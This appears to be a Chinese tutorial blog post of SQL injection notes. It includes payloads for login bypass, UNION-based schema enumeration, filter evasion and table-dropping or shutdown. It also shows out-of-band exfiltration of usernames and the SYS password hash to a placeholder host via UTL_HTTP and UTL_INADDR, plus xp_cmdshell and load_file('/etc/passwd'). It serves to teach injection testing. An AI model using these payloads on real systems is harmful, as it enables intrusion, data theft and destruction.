SQL注入

解释型语言和编译型语言:

解释型语言:运行是由一个运行时组件解释语言代码并执行其中包含的指令语言.

编译型语言:是由它的代码在生成可执行文件时换转成机器指令,然后在运行时直接由该语言的计算机处理器执行指令.

从理论上讲,任何语言都可使用编译器或解释器或来执行,这种区别不是语言本身的内在特性,通常大多数语言仅通过上述其中一种方式执行.基于解释型语言的执行方式,产生了一系列叫做代码注入的漏洞.

绕过登录:

这是一个测试项目 http://www.testfire.net/default.aspx 

在登录页面 username: admin' -- 密码随意填写 即可绕过登录. 

admin'-- 相当与查询SQL语言 select * from user where username='admin'--' and password='123'; 后面的将被注释掉.

mysql Oracle sqlserver 语法基本一样 只有一些细微的差别.

--Mysql没有Boolen类型, 不过 true 等于1 false等于0 这样我们就使用下面语句查询 即便不知道密码同样可以查出数据
select user, pass from users where user='admin' and true;
select user, pass from users where user='admin' and 1;
select user, pass from users where user='admin' and 1=1;

select user, pass from users where user='admin' and false;
select user, pass from users where user='admin' and 1=0;
select user, pass from users where user='admin' and 0;

--字符 类型转换
select user, pass from users where user='admin' and pass='password1'='password2';

pass='password1'='password2' 表达式是从左到右, pass='password1' 返回 0,查询的表中没有这个密码. 新的表达式0='password2' , =不能直接比较不同类型的两个值,password2会被隐士转换为double类型进行于0比较,但这个字母数字值不能被转换,会返回一个0, 最终表达式 0=0,结果为true. 不仅登录可以注入,任何查询数据库的地方都有可能出现注入.

不知道用户或管理员账户的情况下使用'OR 1=1--注入:

' OR 1=1--   #许多Web程序会在数据库中手工建立一个管理员 当提交注入的时候会,以数据库中第一个用户的身份登录.
select * from users where user=' ' or 1=1--' and pass='123';
select * from users where user=' ' or 1=1;

注册注入:

insert into users (user,pass) values('gg','1234');

不会只出现两个字段,这时只能猜字段. gg', 1234, 1234, 1234) -- 

修改功能:

update users set pass=123456 where user='gg' and pass=1234;

update慎用,这个更新字段可能会造成严重问题, 如果提交 gg' or 1=1-- 可能会造成整个表数据造成损坏.

删除功能:

delete from users where user='gg';
delete from users where 1;

delete更加危险,拼接sql gg' or 'a'='a' 就GG了......

查找SQL注入: URL参数,cookie, POST数据项, HTTP消息头等.

识别数据库:

在请求中提交特殊的值, Oracle 'serv' || 'ices'  SqlServer 'serv'+'ices' Mysql 'serv' 'ices'中间是空格.

数字数据求值为0 其它库报错. Oracle BITAND(1,1)-BITAND(1,1)  SqlServer @@PACK_RECEIVED-@@PACK_RECEIVED Mysql CONNECTION_ID()-CONNECTION_ID()

UNION操作符:

select user from users where user='gg' union select user from users where user='admin'; #将查询出两条信息

+-------+
| user  |
+-------+
| gg    |
| admin |
+-------+
admin' or 1=1 order by 1 # #猜字段 知道字段猜完
admin' union select 1,database() # #查当前数据库
admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #  #查表
aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #  

union select #还可以查另一个表中的数据 但必须字段相同

' union select NULL #  #NULl可以被转成任何数据类型 以此猜字段 
根据猜测的字段填补 字符进行测试 看是否正确
' union select 1, NULL #  Oracle 数据库 DUAL来满足条件

避开过滤:

有黑名单就很难进行注入,需要寻找其中的缺陷. select 关键字被禁止,可使用SeLeCt大小写的方式,在编码中加入%00等相关编码格式.还可使用SQL注解,/* */ 

带有GG的注入:

SQL注入虽然无法在错误页面看到有用的信息,但存在恶意的操作,可以进行关闭数据库删除表等等

' shutdown --    ' drop table users -- 

通过网路通道注入:

insert into oepnrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=xxx.com,8080;UID=sa;PWD=letmein','select * from tables') values (@@version)

Oracle : UTL_HTTP可向其他主机提出任意HTTP请求,UTL_HTTP支持代理服务器,cookie,重定向和验证.

URL' || UTL_HTTP.request('xxxx.com:8080/' || (SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1)) --

UTL_INADDR将主机名解析为IP地址,可用于在控制的服务器中欧你生成任意的DNS查询.

URL '|| UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'xxxx.com')

UTL_SMTP包可用于发送电子邮件,在出站电子邮件中发送这个包,可获得大量从数据库中截取的数据.

UTL_TCP包可用于打开任意TCP套接字.发送和接收数据.

MySql   OUTFILE命令可将任意查询的输出指向一个文件,指定文件名和路径.

通过攻破数据库提升权限:

xp_cmdshell 运行数据库管理员以cmd.exe命令提示符相同的方式执行操作系统命令

Oracle 可利用DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY  使用DBMS_JAVA.RUNJAVA  Java类来访问系统

MySql FILE_PRIV 可用以读取并写入文件. select load_file('/etc/passwd')

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值